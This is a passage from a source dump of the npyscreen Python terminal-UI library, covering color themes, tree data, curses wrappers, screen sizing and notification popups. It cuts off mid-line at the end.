npysGlobalOptions.DISABLE_ALL_COLORS = True 8 | 9 | def enableColor(): 10 | npysGlobalOptions.DISABLE_ALL_COLORS = False 11 | 12 | class ThemeManager(object): 13 | # a tuple with (color_number, (r, g, b)) 14 | # you can use this to redefine colour values. 15 | # This will only work on compatible terminals. 16 | # Betware that effects will last beyond the end of the 17 | # application. 18 | _color_values = ( 19 | #(curses.COLOR_GREEN, (150,250,100)), 20 | ) 21 | 22 | 23 | _colors_to_define = ( 24 | # DO NOT DEFINE THE WHITE_BLACK COLOR - THINGS BREAK 25 | #('WHITE_BLACK', DO_NOT_DO_THIS, DO_NOT_DO_THIS), 26 | ('BLACK_WHITE', curses.COLOR_BLACK, curses.COLOR_WHITE), 27 | #('BLACK_ON_DEFAULT', curses.COLOR_BLACK, -1), 28 | #('WHITE_ON_DEFAULT', curses.COLOR_WHITE, -1), 29 | ('BLUE_BLACK', curses.COLOR_BLUE, curses.COLOR_BLACK), 30 | ('CYAN_BLACK', curses.COLOR_CYAN, curses.COLOR_BLACK), 31 | ('GREEN_BLACK', curses.COLOR_GREEN, curses.COLOR_BLACK), 32 | ('MAGENTA_BLACK', curses.COLOR_MAGENTA, curses.COLOR_BLACK), 33 | ('RED_BLACK', curses.COLOR_RED, curses.COLOR_BLACK), 34 | ('YELLOW_BLACK', curses.COLOR_YELLOW, curses.COLOR_BLACK), 35 | ('BLACK_RED', curses.COLOR_BLACK, curses.COLOR_RED), 36 | ('BLACK_GREEN', curses.COLOR_BLACK, curses.COLOR_GREEN), 37 | ('BLACK_YELLOW', curses.COLOR_BLACK, curses.COLOR_YELLOW), 38 | ('BLACK_CYAN', curses.COLOR_BLACK, curses.COLOR_CYAN), 39 | ('BLUE_WHITE', curses.COLOR_BLUE, curses.COLOR_WHITE), 40 | ('CYAN_WHITE', curses.COLOR_CYAN, curses.COLOR_WHITE), 41 | ('GREEN_WHITE', curses.COLOR_GREEN, curses.COLOR_WHITE), 42 | ('MAGENTA_WHITE', curses.COLOR_MAGENTA, curses.COLOR_WHITE), 43 | ('RED_WHITE', curses.COLOR_RED, curses.COLOR_WHITE), 44 | ('YELLOW_WHITE', curses.COLOR_YELLOW, curses.COLOR_WHITE), 45 | ) 46 | 47 | default_colors = { 48 | 'DEFAULT' : 'WHITE_BLACK', 49 | 'FORMDEFAULT' : 'WHITE_BLACK', 50 | 'NO_EDIT' : 'BLUE_BLACK', 51 | 'STANDOUT' : 'CYAN_BLACK', 52 | 'CURSOR' : 'WHITE_BLACK', 53 | 'CURSOR_INVERSE': 'BLACK_WHITE', 54 | 'LABEL' : 'GREEN_BLACK', 55 | 'LABELBOLD' : 'WHITE_BLACK', 56 | 'CONTROL' : 'YELLOW_BLACK', 57 | 'IMPORTANT' : 'GREEN_BLACK', 58 | 'SAFE' : 'GREEN_BLACK', 59 | 'WARNING' : 'YELLOW_BLACK', 60 | 'DANGER' : 'RED_BLACK', 61 | 'CRITICAL' : 'BLACK_RED', 62 | 'GOOD' : 'GREEN_BLACK', 63 | 'GOODHL' : 'GREEN_BLACK', 64 | 'VERYGOOD' : 'BLACK_GREEN', 65 | 'CAUTION' : 'YELLOW_BLACK', 66 | 'CAUTIONHL' : 'BLACK_YELLOW', 67 | } 68 | def __init__(self): 69 | #curses.use_default_colors() 70 | self.define_colour_numbers() 71 | self._defined_pairs = {} 72 | self._names = {} 73 | try: 74 | self._max_pairs = curses.COLOR_PAIRS - 1 75 | do_color = True 76 | except AttributeError: 77 | # curses.start_color has failed or has not been called 78 | do_color = False 79 | # Disable all color use across the application 80 | disableColor() 81 | if do_color and curses.has_colors(): 82 | self.initialize_pairs() 83 | self.initialize_names() 84 | 85 | def define_colour_numbers(self): 86 | if curses.can_change_color(): 87 | for c in self._color_values: 88 | curses.init_color(c[0], *c[1]) 89 | 90 | 91 | def findPair(self, caller, request='DEFAULT'): 92 | if not curses.has_colors() or npysGlobalOptions.DISABLE_ALL_COLORS: 93 | return False 94 | 95 | if request=='DEFAULT': 96 | request = caller.color 97 | # Locate the requested colour pair. Default to default if not found. 98 | try: 99 | pair = self._defined_pairs[self._names[request]] 100 | except: 101 | pair = self._defined_pairs[self._names['DEFAULT']] 102 | 103 | # now make the actual attribute 104 | color_attribute = curses.color_pair(pair[0]) 105 | 106 | return color_attribute 107 | 108 | def setDefault(self, caller): 109 | return False 110 | 111 | def initialize_pairs(self): 112 | # White on Black is fixed as color_pair 0 113 | self._defined_pairs['WHITE_BLACK'] = (0, curses.COLOR_WHITE, curses.COLOR_BLACK) 114 | for cp in self.__class__._colors_to_define: 115 | if cp[0] == 'WHITE_BLACK': 116 | # silently protect the user from breaking things. 117 | continue 118 | self.initalize_pair(cp[0], cp[1], cp[2]) 119 | 120 | def initialize_names(self): 121 | self._names.update(self.__class__.default_colors) 122 | 123 | def initalize_pair(self, name, fg, bg): 124 | # Initialize a color_pair for the required colour and return the number. Raise an exception if this is not possible. 125 | if (len(list(self._defined_pairs.keys()))+1) == self._max_pairs: 126 | raise Exception("Too many colours") 127 | 128 | _this_pair_number = len(list(self._defined_pairs.keys())) + 1 129 | 130 | curses.init_pair(_this_pair_number, fg, bg) 131 | 132 | self._defined_pairs[name] = (_this_pair_number, fg, bg) 133 | 134 | return _this_pair_number 135 | 136 | def get_pair_number(self, name): 137 | return self._defined_pairs[name][0] 138 | -------------------------------------------------------------------------------- /npyscreen/npysThemes.py: -------------------------------------------------------------------------------- 1 | import curses 2 | from . import npysThemeManagers as ThemeManagers 3 | 4 | class DefaultTheme(ThemeManagers.ThemeManager): 5 | default_colors = { 6 | 'DEFAULT' : 'WHITE_BLACK', 7 | 'FORMDEFAULT' : 'WHITE_BLACK', 8 | 'NO_EDIT' : 'BLUE_BLACK', 9 | 'STANDOUT' : 'CYAN_BLACK', 10 | 'CURSOR' : 'WHITE_BLACK', 11 | 'CURSOR_INVERSE': 'BLACK_WHITE', 12 | 'LABEL' : 'GREEN_BLACK', 13 | 'LABELBOLD' : 'WHITE_BLACK', 14 | 'CONTROL' : 'YELLOW_BLACK', 15 | 'WARNING' : 'RED_BLACK', 16 | 'CRITICAL' : 'BLACK_RED', 17 | 'GOOD' : 'GREEN_BLACK', 18 | 'GOODHL' : 'GREEN_BLACK', 19 | 'VERYGOOD' : 'BLACK_GREEN', 20 | 'CAUTION' : 'YELLOW_BLACK', 21 | 'CAUTIONHL' : 'BLACK_YELLOW', 22 | } 23 | 24 | class ElegantTheme(ThemeManagers.ThemeManager): 25 | default_colors = { 26 | 'DEFAULT' : 'WHITE_BLACK', 27 | 'FORMDEFAULT' : 'WHITE_BLACK', 28 | 'NO_EDIT' : 'BLUE_BLACK', 29 | 'STANDOUT' : 'CYAN_BLACK', 30 | 'CURSOR' : 'CYAN_BLACK', 31 | 'CURSOR_INVERSE': 'BLACK_CYAN', 32 | 'LABEL' : 'GREEN_BLACK', 33 | 'LABELBOLD' : 'WHITE_BLACK', 34 | 'CONTROL' : 'YELLOW_BLACK', 35 | 'WARNING' : 'RED_BLACK', 36 | 'CRITICAL' : 'BLACK_RED', 37 | 'GOOD' : 'GREEN_BLACK', 38 | 'GOODHL' : 'GREEN_BLACK', 39 | 'VERYGOOD' : 'BLACK_GREEN', 40 | 'CAUTION' : 'YELLOW_BLACK', 41 | 'CAUTIONHL' : 'BLACK_YELLOW', 42 | } 43 | 44 | 45 | class ColorfulTheme(ThemeManagers.ThemeManager): 46 | default_colors = { 47 | 'DEFAULT' : 'RED_BLACK', 48 | 'FORMDEFAULT' : 'YELLOW_BLACK', 49 | 'NO_EDIT' : 'BLUE_BLACK', 50 | 'STANDOUT' : 'CYAN_BLACK', 51 | 'CURSOR' : 'WHITE_BLACK', 52 | 'CURSOR_INVERSE': 'BLACK_WHITE', 53 | 'LABEL' : 'BLUE_BLACK', 54 | 'LABELBOLD' : 'YELLOW_BLACK', 55 | 'CONTROL' : 'GREEN_BLACK', 56 | 'WARNING' : 'RED_BLACK', 57 | 'CRITICAL' : 'BLACK_RED', 58 | 'GOOD' : 'GREEN_BLACK', 59 | 'GOODHL' : 'GREEN_BLACK', 60 | 'VERYGOOD' : 'BLACK_GREEN', 61 | 'CAUTION' : 'YELLOW_BLACK', 62 | 'CAUTIONHL' : 'BLACK_YELLOW', 63 | } 64 | 65 | class BlackOnWhiteTheme(ThemeManagers.ThemeManager): 66 | default_colors = { 67 | 'DEFAULT' : 'BLACK_WHITE', 68 | 'FORMDEFAULT' : 'BLACK_WHITE', 69 | 'NO_EDIT' : 'BLUE_WHITE', 70 | 'STANDOUT' : 'CYAN_WHITE', 71 | 'CURSOR' : 'BLACK_WHITE', 72 | 'CURSOR_INVERSE': 'WHITE_BLACK', 73 | 'LABEL' : 'RED_WHITE', 74 | 'LABELBOLD' : 'BLACK_WHITE', 75 | 'CONTROL' : 'BLUE_WHITE', 76 | 'WARNING' : 'RED_WHITE', 77 | 'CRITICAL' : 'BLACK_RED', 78 | 'GOOD' : 'GREEN_BLACK', 79 | 'GOODHL' : 'GREEN_WHITE', 80 | 'VERYGOOD' : 'WHITE_GREEN', 81 | 'CAUTION' : 'YELLOW_WHITE', 82 | 'CAUTIONHL' : 'BLACK_YELLOW', 83 | } 84 | 85 | class TransparentThemeDarkText(ThemeManagers.ThemeManager): 86 | _colors_to_define = ( 87 | ('BLACK_WHITE', curses.COLOR_BLACK, curses.COLOR_WHITE), 88 | ('BLUE_BLACK', curses.COLOR_BLUE, curses.COLOR_BLACK), 89 | ('CYAN_BLACK', curses.COLOR_CYAN, curses.COLOR_BLACK), 90 | ('GREEN_BLACK', curses.COLOR_GREEN, curses.COLOR_BLACK), 91 | ('MAGENTA_BLACK', curses.COLOR_MAGENTA, curses.COLOR_BLACK), 92 | ('RED_BLACK', curses.COLOR_RED, curses.COLOR_BLACK), 93 | ('YELLOW_BLACK', curses.COLOR_YELLOW, curses.COLOR_BLACK), 94 | ('BLACK_RED', curses.COLOR_BLACK, curses.COLOR_RED), 95 | ('BLACK_GREEN', curses.COLOR_BLACK, curses.COLOR_GREEN), 96 | ('BLACK_YELLOW', curses.COLOR_BLACK, curses.COLOR_YELLOW), 97 | 98 | ('BLUE_WHITE', curses.COLOR_BLUE, curses.COLOR_WHITE), 99 | ('CYAN_WHITE', curses.COLOR_CYAN, curses.COLOR_WHITE), 100 | ('GREEN_WHITE', curses.COLOR_GREEN, curses.COLOR_WHITE), 101 | ('MAGENTA_WHITE', curses.COLOR_MAGENTA, curses.COLOR_WHITE), 102 | ('RED_WHITE', curses.COLOR_RED, curses.COLOR_WHITE), 103 | ('YELLOW_WHITE', curses.COLOR_YELLOW, curses.COLOR_WHITE), 104 | 105 | ('BLACK_ON_DEFAULT', curses.COLOR_BLACK, -1), 106 | ('WHITE_ON_DEFAULT', curses.COLOR_WHITE, -1), 107 | ('BLUE_ON_DEFAULT', curses.COLOR_BLUE, -1), 108 | ('CYAN_ON_DEFAULT', curses.COLOR_CYAN, -1), 109 | ('GREEN_ON_DEFAULT', curses.COLOR_GREEN, -1), 110 | ('MAGENTA_ON_DEFAULT', curses.COLOR_MAGENTA, -1), 111 | ('RED_ON_DEFAULT', curses.COLOR_RED, -1), 112 | ('YELLOW_ON_DEFAULT', curses.COLOR_YELLOW, -1), 113 | ) 114 | 115 | default_colors = { 116 | 'DEFAULT' : 'BLACK_ON_DEFAULT', 117 | 'FORMDEFAULT' : 'BLACK_ON_DEFAULT', 118 | 'NO_EDIT' : 'BLUE_ON_DEFAULT', 119 | 'STANDOUT' : 'CYAN_ON_DEFAULT', 120 | 'CURSOR' : 'BLACK_WHITE', 121 | 'CURSOR_INVERSE': 'WHITE_BLACK', 122 | 'LABEL' : 'RED_ON_DEFAULT', 123 | 'LABELBOLD' : 'BLACK_ON_DEFAULT', 124 | 'CONTROL' : 'BLUE_ON_DEFAULT', 125 | 'WARNING' : 'RED_WHITE', 126 | 'CRITICAL' : 'BLACK_RED', 127 | 'GOOD' : 'GREEN_BLACK', 128 | 'GOODHL' : 'GREEN_WHITE', 129 | 'VERYGOOD' : 'WHITE_GREEN', 130 | 'CAUTION' : 'YELLOW_WHITE', 131 | 'CAUTIONHL' : 'BLACK_YELLOW', 132 | } 133 | 134 | 135 | def __init__(self, *args, **keywords): 136 | curses.use_default_colors() 137 | super(TransparentThemeDarkText, self).__init__(*args, **keywords) 138 | 139 | class TransparentThemeLightText(TransparentThemeDarkText): 140 | default_colors = { 141 | 'DEFAULT' : 'WHITE_ON_DEFAULT', 142 | 'FORMDEFAULT' : 'WHITE_ON_DEFAULT', 143 | 'NO_EDIT' : 'BLUE_ON_DEFAULT', 144 | 'STANDOUT' : 'CYAN_ON_DEFAULT', 145 | 'CURSOR' : 'WHITE_BLACK', 146 | 'CURSOR_INVERSE': 'BLACK_WHITE', 147 | 'LABEL' : 'RED_ON_DEFAULT', 148 | 'LABELBOLD' : 'BLACK_ON_DEFAULT', 149 | 'CONTROL' : 'BLUE_ON_DEFAULT', 150 | 'WARNING' : 'RED_BLACK', 151 | 'CRITICAL' : 'BLACK_RED', 152 | 'GOOD' : 'GREEN_BLACK', 153 | 'GOODHL' : 'GREEN_BLACK', 154 | 'VERYGOOD' : 'BLACK_GREEN', 155 | 'CAUTION' : 'YELLOW_BLACK', 156 | 'CAUTIONHL' : 'BLACK_YELLOW', 157 | } 158 | 159 | -------------------------------------------------------------------------------- /npyscreen/npysTree.py: -------------------------------------------------------------------------------- 1 | import weakref 2 | import collections 3 | 4 | class TreeData(object): 5 | # This is a new version of NPSTreeData that follows PEP8. 6 | CHILDCLASS = None 7 | def __init__(self, content=None, parent=None, selected=False, selectable=True, 8 | highlight=False, expanded=True, ignore_root=True, sort_function=None): 9 | self.set_parent(parent) 10 | self.set_content(content) 11 | self.selectable = selectable 12 | self.selected = selected 13 | self.highlight = highlight 14 | self.expanded = expanded 15 | self._children = [] 16 | self.ignore_root = ignore_root 17 | self.sort = False 18 | self.sort_function = sort_function 19 | self.sort_function_wrapper = True 20 | 21 | 22 | def get_content(self): 23 | return self.content 24 | 25 | def get_content_for_display(self): 26 | return str(self.content) 27 | 28 | def set_content(self, content): 29 | self.content = content 30 | 31 | def is_selected(self): 32 | return self.selected 33 | 34 | def is_highlighted(self): 35 | return self.highlight 36 | 37 | def set_parent(self, parent): 38 | if parent == None: 39 | self._parent = None 40 | else: 41 | self._parent = weakref.proxy(parent) 42 | 43 | def get_parent(self): 44 | return self._parent 45 | 46 | 47 | def find_depth(self, d=0): 48 | parent = self.get_parent() 49 | while parent: 50 | d += 1 51 | parent = parent.get_parent() 52 | return d 53 | # Recursive 54 | #if self._parent == None: 55 | # return d 56 | #else: 57 | # return(self._parent.findDepth(d+1)) 58 | 59 | def is_last_sibling(self): 60 | if self.get_parent(): 61 | if list(self.get_parent().get_children())[-1] == self: 62 | return True 63 | else: 64 | return False 65 | else: 66 | return None 67 | 68 | def has_children(self): 69 | if len(self._children) > 0: 70 | return True 71 | else: 72 | return False 73 | 74 | def get_children(self): 75 | for c in self._children: 76 | try: 77 | yield weakref.proxy(c) 78 | except: 79 | yield c 80 | 81 | def get_children_objects(self): 82 | return self._children[:] 83 | 84 | def _get_children_list(self): 85 | return self._children 86 | 87 | def new_child(self, *args, **keywords): 88 | if self.CHILDCLASS: 89 | cld = self.CHILDCLASS 90 | else: 91 | cld = type(self) 92 | c = cld(parent=self, *args, **keywords) 93 | self._children.append(c) 94 | return weakref.proxy(c) 95 | 96 | def remove_child(self, child): 97 | new_children = [] 98 | for ch in self._children: 99 | # do it this way because of weakref equality bug. 100 | if not ch.get_content() == child.get_content(): 101 | new_children.append(ch) 102 | else: 103 | ch.set_parent(None) 104 | self._children = new_children 105 | 106 | 107 | def create_wrapped_sort_function(self, this_function): 108 | def new_function(the_item): 109 | if the_item: 110 | the_real_item = the_item.get_content() 111 | return this_function(the_real_item) 112 | else: 113 | return the_item 114 | return new_function 115 | 116 | def walk_parents(self): 117 | p = self.get_parent() 118 | while p: 119 | yield p 120 | p = p.get_parent() 121 | 122 | def walk_tree(self, only_expanded=True, ignore_root=True, sort=None, sort_function=None): 123 | #Iterate over Tree 124 | if sort is None: 125 | sort = self.sort 126 | 127 | if sort_function is None: 128 | sort_function = self.sort_function 129 | 130 | # example sort function # sort = True 131 | # example sort function # def sort_function(the_item): 132 | # example sort function # import email.utils 133 | # example sort function # if the_item: 134 | # example sort function # if the_item.getContent(): 135 | # example sort function # frm = the_item.getContent().get('from') 136 | # example sort function # try: 137 | # example sort function # frm = email.utils.parseaddr(frm)[0] 138 | # example sort function # except: 139 | # example sort function # pass 140 | # example sort function # return frm 141 | # example sort function # else: 142 | # example sort function # return the_item 143 | #key = operator.methodcaller('getContent',) 144 | 145 | if self.sort_function_wrapper and sort_function: 146 | # def wrapped_sort_function(the_item): 147 | # if the_item: 148 | # the_real_item = the_item.getContent() 149 | # return sort_function(the_real_item) 150 | # else: 151 | # return the_item 152 | # _this_sort_function = wrapped_sort_function 153 | _this_sort_function = self.create_wrapped_sort_function(sort_function) 154 | else: 155 | _this_sort_function = sort_function 156 | 157 | key = _this_sort_function 158 | if not ignore_root: 159 | yield self 160 | nodes_to_yield = collections.deque() # better memory management than a list for pop(0) 161 | if self.expanded or not only_expanded: 162 | if sort: 163 | # This and the similar block below could be combined into a nested function 164 | if key: 165 | nodes_to_yield.extend(sorted(self.get_children(), key=key,)) 166 | else: 167 | nodes_to_yield.extend(sorted(self.get_children())) 168 | else: 169 | nodes_to_yield.extend(self.get_children()) 170 | while nodes_to_yield: 171 | child = nodes_to_yield.popleft() 172 | if child.expanded or not only_expanded: 173 | # This and the similar block above could be combined into a nested function 174 | if sort: 175 | if key: 176 | # must be reverse because about to use extendleft() below. 177 | nodes_to_yield.extendleft(sorted(child.get_children(), key=key, reverse=True)) 178 | else: 179 | nodes_to_yield.extendleft(sorted(child.get_children(), reverse=True)) 180 | else: 181 | #for node in child.getChildren(): 182 | # if node not in nodes_to_yield: 183 | # nodes_to_yield.appendleft(node) 184 | yield_these = list(child.get_children()) 185 | yield_these.reverse() 186 | nodes_to_yield.extendleft(yield_these) 187 | del yield_these 188 | yield child 189 | 190 | def get_tree_as_list(self, only_expanded=True, sort=None, key=None): 191 | _a = [] 192 | for node in self.walk_tree(only_expanded=only_expanded, ignore_root=self.ignore_root, sort=sort): 193 | try: 194 | _a.append(weakref.proxy(node)) 195 | except: 196 | _a.append(node) 197 | return _a 198 | -------------------------------------------------------------------------------- /npyscreen/npyspmfuncs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import curses 4 | import os 5 | 6 | class ResizeError(Exception): 7 | "The screen has been resized" 8 | 9 | def hidecursor(): 10 | try: 11 | curses.curs_set(0) 12 | except: 13 | pass 14 | 15 | def showcursor(): 16 | try: 17 | curses.curs_set(1) 18 | except: 19 | pass 20 | 21 | def CallSubShell(subshell): 22 | """Call this function if you need to execute an external command in a subshell (os.system). All the usual warnings apply -- the command line will be 23 | expanded by the shell, so make sure it is safe before passing it to this function.""" 24 | curses.def_prog_mode() 25 | #curses.endwin() # Probably causes a memory leak. 26 | 27 | rtn = os.system("%s" % (subshell)) 28 | curses.reset_prog_mode() 29 | if rtn is not 0: return False 30 | else: return True 31 | 32 | curses.reset_prog_mode() 33 | 34 | hide_cursor = hidecursor 35 | show_cursor = showcursor 36 | -------------------------------------------------------------------------------- /npyscreen/npyssafewrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import curses 4 | import _curses 5 | #import curses.wrapper 6 | import locale 7 | import os 8 | #import pty 9 | import subprocess 10 | import sys 11 | import warnings 12 | 13 | _NEVER_RUN_INITSCR = True 14 | _SCREEN = None 15 | 16 | def wrapper_basic(call_function): 17 | #set the locale properly 18 | locale.setlocale(locale.LC_ALL, '') 19 | return curses.wrapper(call_function) 20 | 21 | #def wrapper(call_function): 22 | # locale.setlocale(locale.LC_ALL, '') 23 | # screen = curses.initscr() 24 | # curses.noecho() 25 | # curses.cbreak() 26 | # 27 | # return_code = call_function(screen) 28 | # 29 | # curses.nocbreak() 30 | # curses.echo() 31 | # curses.endwin() 32 | 33 | def wrapper(call_function, fork=None, reset=True): 34 | global _NEVER_RUN_INITSCR 35 | if fork: 36 | wrapper_fork(call_function, reset=reset) 37 | elif fork == False: 38 | wrapper_no_fork(call_function) 39 | else: 40 | if _NEVER_RUN_INITSCR: 41 | wrapper_no_fork(call_function) 42 | else: 43 | wrapper_fork(call_function, reset=reset) 44 | 45 | def wrapper_fork(call_function, reset=True): 46 | pid = os.fork() 47 | if pid: 48 | # Parent 49 | os.waitpid(pid, 0) 50 | if reset: 51 | external_reset() 52 | else: 53 | locale.setlocale(locale.LC_ALL, '') 54 | _SCREEN = curses.initscr() 55 | try: 56 | curses.start_color() 57 | except: 58 | pass 59 | _SCREEN.keypad(1) 60 | curses.noecho() 61 | curses.cbreak() 62 | curses.def_prog_mode() 63 | curses.reset_prog_mode() 64 | return_code = call_function(_SCREEN) 65 | _SCREEN.keypad(0) 66 | curses.echo() 67 | curses.nocbreak() 68 | curses.endwin() 69 | sys.exit(0) 70 | 71 | def external_reset(): 72 | subprocess.call(['reset', '-Q']) 73 | 74 | def wrapper_no_fork(call_function, reset=False): 75 | global _NEVER_RUN_INITSCR 76 | if not _NEVER_RUN_INITSCR: 77 | warnings.warn("""Repeated calls of endwin may cause a memory leak. Use wrapper_fork to avoid.""") 78 | global _SCREEN 79 | return_code = None 80 | if _NEVER_RUN_INITSCR: 81 | _NEVER_RUN_INITSCR = False 82 | locale.setlocale(locale.LC_ALL, '') 83 | _SCREEN = curses.initscr() 84 | try: 85 | curses.start_color() 86 | except: 87 | pass 88 | curses.noecho() 89 | curses.cbreak() 90 | _SCREEN.keypad(1) 91 | 92 | curses.noecho() 93 | curses.cbreak() 94 | _SCREEN.keypad(1) 95 | 96 | try: 97 | return_code = call_function(_SCREEN) 98 | finally: 99 | _SCREEN.keypad(0) 100 | curses.echo() 101 | curses.nocbreak() 102 | # Calling endwin() and then refreshing seems to cause a memory leak. 103 | curses.endwin() 104 | if reset: 105 | external_reset() 106 | return return_code 107 | -------------------------------------------------------------------------------- /npyscreen/proto_fm_screen_area.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import curses 4 | import curses.panel 5 | #import curses.wrapper 6 | from . import npyspmfuncs as pmfuncs 7 | import os 8 | from . import npysThemeManagers as ThemeManagers 9 | 10 | 11 | # For more complex method of getting the size of screen 12 | try: 13 | import fcntl, termios, struct, sys 14 | except: 15 | # Win32 platforms do not have fcntl 16 | pass 17 | 18 | 19 | APPLICATION_THEME_MANAGER = None 20 | 21 | def setTheme(theme): 22 | global APPLICATION_THEME_MANAGER 23 | APPLICATION_THEME_MANAGER = theme() 24 | 25 | def getTheme(): 26 | return APPLICATION_THEME_MANAGER 27 | 28 | 29 | 30 | class ScreenArea(object): 31 | BLANK_LINES_BASE =0 32 | BLANK_COLUMNS_RIGHT=0 33 | DEFAULT_NEXTRELY=2 34 | DEFAULT_LINES = 0 35 | DEFAULT_COLUMNS = 0 36 | SHOW_ATX = 0 37 | SHOW_ATY = 0 38 | 39 | """A screen area that can be safely resized. But this is a low-level class, not the 40 | object you are looking for.""" 41 | 42 | def __init__(self, lines=0, columns=0, 43 | minimum_lines = 24, 44 | minimum_columns = 80, 45 | show_atx = 0, 46 | show_aty = 0, 47 | **keywords): 48 | 49 | 50 | # Putting a default in here will override the system in _create_screen. For testing? 51 | if not lines: 52 | lines = self.__class__.DEFAULT_LINES 53 | if not columns: 54 | columns = self.__class__.DEFAULT_COLUMNS 55 | 56 | if lines: minimum_lines = lines 57 | if columns: minimum_columns = columns 58 | 59 | self.lines = lines #or 25 60 | self.columns = columns #or 80 61 | 62 | self.min_l = minimum_lines 63 | self.min_c = minimum_columns 64 | 65 | # Panels can be bigger than the screen area. These two variables 66 | # set which bit of the panel should be visible. 67 | # ie. They are about the virtual, not the physical, screen. 68 | self.show_from_y = 0 69 | self.show_from_x = 0 70 | self.show_atx = show_atx or self.__class__.SHOW_ATX 71 | self.show_aty = show_aty or self.__class__.SHOW_ATY 72 | self.ALL_SHOWN = False 73 | 74 | global APPLICATION_THEME_MANAGER 75 | if APPLICATION_THEME_MANAGER is None: 76 | self.theme_manager = ThemeManagers.ThemeManager() 77 | else: 78 | self.theme_manager = APPLICATION_THEME_MANAGER 79 | 80 | self.keypress_timeout = None 81 | 82 | 83 | self._create_screen() 84 | 85 | def _create_screen(self): 86 | 87 | try: 88 | if self.lines_were_auto_set: self.lines = None 89 | if self.cols_were_auto_set: self.columns = None 90 | except: pass 91 | 92 | 93 | if not self.lines: 94 | self.lines = self._max_physical()[0]+1 95 | self.lines_were_auto_set = True 96 | if not self.columns: 97 | self.columns = self._max_physical()[1]+1 98 | self.cols_were_auto_set = True 99 | 100 | if self.min_l > self.lines: 101 | self.lines = self.min_l 102 | 103 | if self.min_c > self.columns: 104 | self.columns = self.min_c 105 | 106 | #self.area = curses.newpad(self.lines, self.columns) 107 | self.curses_pad = curses.newpad(self.lines, self.columns) 108 | #self.max_y, self.max_x = self.lines, self.columns 109 | self.max_y, self.max_x = self.curses_pad.getmaxyx() 110 | 111 | def _max_physical(self): 112 | "How big is the physical screen?" 113 | # On OS X newwin does not correctly get the size of the screen. 114 | # let's see how big we could be: create a temp screen 115 | # and see the size curses makes it. No good to keep, though 116 | try: 117 | mxy, mxx = struct.unpack('hh', fcntl.ioctl(sys.stderr.fileno(), termios.TIOCGWINSZ, 'xxxx')) 118 | if (mxy, mxx) == (0,0): 119 | raise ValueError 120 | except (ValueError, NameError): 121 | mxy, mxx = curses.newwin(0,0).getmaxyx() 122 | 123 | # return safe values, i.e. slightly smaller. 124 | return (mxy-1, mxx-1) 125 | 126 | def useable_space(self, rely=0, relx=0): 127 | mxy, mxx = self.lines, self.columns 128 | return (mxy-rely, mxx-1-relx) # x - 1 because can't use last line bottom right. 129 | 130 | def widget_useable_space(self, rely=0, relx=0): 131 | #Slightly misreports space available. 132 | #mxy, mxx = self.lines, self.columns-1 133 | mxy, mxx = self.useable_space(rely=rely, relx=relx) 134 | return (mxy-self.BLANK_LINES_BASE, mxx-self.BLANK_COLUMNS_RIGHT) 135 | 136 | def refresh(self): 137 | pmfuncs.hide_cursor() 138 | _my, _mx = self._max_physical() 139 | self.curses_pad.move(0,0) 140 | 141 | # Since we can have pannels larger than the screen 142 | # let's allow for scrolling them 143 | 144 | # Getting strange errors on OS X, with curses sometimes crashing at this point. 145 | # Suspect screen size not updated in time. This try: seems to solve it with no ill effects. 146 | try: 147 | self.curses_pad.refresh(self.show_from_y,self.show_from_x,self.show_aty,self.show_atx,_my,_mx) 148 | except curses.error: 149 | pass 150 | if self.show_from_y is 0 and \ 151 | self.show_from_x is 0 and \ 152 | (_my >= self.lines) and \ 153 | (_mx >= self.columns): 154 | self.ALL_SHOWN = True 155 | 156 | else: 157 | self.ALL_SHOWN = False 158 | 159 | def erase(self): 160 | self.curses_pad.erase() 161 | self.refresh() 162 | 163 | -------------------------------------------------------------------------------- /npyscreen/utilNotify.py: -------------------------------------------------------------------------------- 1 | from . import fmPopup 2 | from . import wgmultiline 3 | from . import fmPopup 4 | import curses 5 | import textwrap 6 | 7 | class ConfirmCancelPopup(fmPopup.ActionPopup): 8 | def on_ok(self): 9 | self.value = True 10 | def on_cancel(self): 11 | self.value = False 12 | 13 | class YesNoPopup(ConfirmCancelPopup): 14 | OK_BUTTON_TEXT = "Yes" 15 | CANCEL_BUTTON_TEXT = "No" 16 | 17 | def _prepare_message(message): 18 | if isinstance(message, list) or isinstance(message, tuple): 19 | return "\n".join([ s.rstrip() for s in message]) 20 | #return "\n".join(message) 21 | else: 22 | return message 23 | 24 | def _wrap_message_lines(message, line_length): 25 | lines = [] 26 | for line in message.split('\n'): 27 | lines.extend(textwrap.wrap(line.rstrip(), line_length)) 28 | return lines 29 | 30 | def notify(message, title="Message", form_color='STANDOUT', 31 | wrap=True, wide=False, 32 | ): 33 | message = _prepare_message(message) 34 | if wide: 35 | F = fmPopup.PopupWide(name=title, color=form_color) 36 | else: 37 | F = fmPopup.Popup(name=title, color=form_color) 38 | F.preserve_selected_widget = True 39 | mlw = F.add(wgmultiline.Pager,) 40 | mlw_width = mlw.width-1 41 | if wrap: 42 | message = _wrap_message_lines(message, mlw_width) 43 | mlw.values = message 44 | F.display() 45 | 46 | def notify_confirm(message, title="Message", form_color='STANDOUT', wrap=True, wide=False, 47 | editw = 0,): 48 | message = _prepare_message(message) 49 | if wide: 50 | F = fmPopup.PopupWide(name=title, color=form_color) 51 | else: 52 | F = fmPopup.Popup(name=title, color=form_color) 53 | F.preserve_selected_widget = True 54 | mlw = F.add(wgmultiline.Pager,) 55 | mlw_width = mlw.width-1 56 | if wrap: 57 | message = _wrap_message_lines(message, mlw_width) 58 | else: 59 | message = message.split("\n") 60 | mlw.values = message 61 | F.editw = editw 62 | F.edit() 63 | 64 | def notify_wait(*args, **keywords): 65 | notify(*args, **keywords) 66 | curses.napms(3000) 67 | curses.flushinp() 68 | 69 | 70 | def notify_ok_cancel(message, title="Message", form_color='STANDOUT', wrap=True, editw = 0,): 71 | message = _prepare_message(message) 72 | F = ConfirmCancelPopup(name=title, color=form_color) 73 | F.preserve_selected_widget = True 74 | mlw = F.add(wgmultiline.Pager,) 75 | mlw_width = mlw.width-1 76 | if wrap: 77 | message = _wrap_message_lines(message, mlw_width) 78 | mlw.values = message 79 | F.editw = editw 80 | F.edit() 81 | return F.value 82 | 83 | def notify_yes_no(message, title="Message", form_color='STANDOUT', wrap=True, editw = 0,): 84 | message = _prepare_message(message) 85 | F = YesNoPopup(name=title, color=form_color) 86 | F.preserve_selected_widget = True 87 | mlw = 